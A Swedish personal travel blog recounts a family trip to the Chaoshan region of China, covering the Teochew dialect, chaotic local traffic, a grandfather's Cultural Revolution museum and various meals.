Rikskinesiska (mandarin) förhåller sig till Teochew-dialekt som rikssvenska förhåller sig till isländska (tror jag), eller som engelska förhåller sig till svenska. Enligt wikipedia har Teochew-dialekten färre ord gemensamma med dess närmsta släkting (från ett område norr om Teoswa) än engelska har med tyska. Mutual intelligibility med mandarin ska vara 44%.

Teochew sägs av wikipedia sägas vara den svåraste kinesiska dialekten, eftersom den har 8 toner, jämfört med mandarinens 4. En bonus är att det finns många fler fall där en ton ska förändras när den följs av en viss annan.

På mina sex resor hit som varat i i genomsnitt två-tre veckor var har jag lyckats lära mig säga ca 50 ord, men jag förstår nog uppemot 100 på grund av likheten med mandarin. Den teochew-fras jag yttrar oftast är "ÄT(A) BAJS".

---

Mer om trafiken här:

De flesta stora vägar har tre filer åt båda håll, samt eventuellt mopedfiler ute till höger. Ska man åt något håll, så kör man ditåt. Man behöver inte se sig för i backspeglarna eller döda vinkeln, bara man inte gör några plötsliga manövrar. Hamnar man på kollisionskurs med någon ska denne tuta. Tuta används också i förebyggande syften när man träder in i någons döda vinkel.

De rödljus som finns har nedräkning bredvid. Det är inte ovanligt att man ser 99 i rött, som dessutom inte har börjat gå nedåt än. Då kan man vidta åtgärd genom att välja mötande fil, som tidigare beskrivits.

En gång var vi på väg mot en rondell med åtta avfarter. Då kom det först en blå skylt som visade vägen till andra städer, och sedan en brun skylt som visade vägen till alla lokala destinationer. Klyftigt!

----

Så i morse åkte vi från Jieyang, tillsammans med hela moderssidessläkten. I Teochew mötte farbror Teng upp och förde oss till den gamla stadsmuren. Vi gick också på världens enda båtbro (dvs bro byggd på båtar, inte för båtar), vilket kostade 60 spänn per person.

---

Sedan åkte vi till tornberget, där min farfar byggt ett kulturrevolutionsmuseum. Där står det bland annat att kommunistpartiet erkänt att kulturrevolutionen var ett felsteg. Museet var i tidningarna en gång, men sedan fick de inhemska medierna munkavle.

På tornberget finns ett torn, fast det tornet är nybyggt. Ingen vet varifrån berget fått sitt namn. Sen finns det massor text på stora stentavlor överallt som jag inte förstår. Det är inte färdigbyggt än, men delar av det håller redan på att förfalla. Kineserna är inte så bra på det där med underhåll.

Ni som är intresserade av kineser kan ju slå upp på mdbg.net vad torn+berg heter på mandarin och googla på det tillsammans med Chenghai (platsen där det ligger, tillika min fars riktiga hemstad). Kanske hittar ni en referens till någon med mitt efternamn.

---

Nu är jag tillbaks i Swatow, och vi har ätit middag på Lucky Venice Hotel. Det var en buffé, och i sann västerländsk anda spelade de Ballade pour Adeline i bakgrunden (alla restauranger som försöker tillfredsställa västerlänningar gör det - till och med hotellet i Vietnam), trots att jag inte såg ett enda blekansikte.

Jag åt iallafall:
Stekt ris
Stekta vetenudlar
Stekt pasta
Sushi
Rå lax
Tårtor med alla möjliga färger
Frukt

medan jag tackade nej till:
hajfenssoppa
annat havsskräp
svalbo

I morse ägde följande konversation ungefär rum:
mamma: "Han åt massor äpplen i England."
jag: "3 om dagen."
kusin: "4 om dagen, buy 1 get 1 free!!!!!!"

Till lunch åt vi bland annat:
1) En gås. Vi kom fram till att vi skulle kunna föda upp gäss hemma, eftersom jag tycker om själva köttet, min mor att gnaga på benen och min far att äta fötterna.
2) Stekt ris. Den magiska ingrediensen: Kinesisk svamp. Mums!

Sedan påpekade någon att senast jag var på ett foto tillsammans med mina två moderssideskusiner var första gången jag kom till Kina. Alltså tog vi några fler bilder.

Förresten är året 2009 nu :o

Nu är jag i Jieyang, hos morföräldrar och morbrors och mosters familjer. Kusin 1 är redan här och kusin 2 anländer snart från England.

Eftersom det är ombyggnad på vägen mellan Swatow och Jieyang fick vi ta en omväg. Resan tog ungefär en timme, vilket den brukar ta även utan ombyggnad. Längs vägrenen låg det remsor av stenkross, fast det var troligen betong för folk arbetade med att dra ut armeringsjärn med tång från dem och lastade på sina trehjulingscyklar.

Förresten fungerar trafikreglerna lite annorlunda här jämfört med i Shenyang. Den största skillnaden är:
Ska du igenom en korsning måste du köra i en fil som har grönt. Finns ingen sådan tillgänglig går även mötande filer att använda.

På kvällen gick vi och såg på en sjungande fontän i floden. Den var tråkig så vi gick igen.

För övrigt är det lite krångligare att ta sig ut på internet här, så det kan bli lite färre inlägg imorgon och i övermorgon.

Förresten har jag märkt att saftblandarens era är slut. Är det inte mycket mer skonsammare för ljuset att lysa konstant medan en skopa roterar runt det än att lyset ska blinka självt, och det i ryckiga pulser?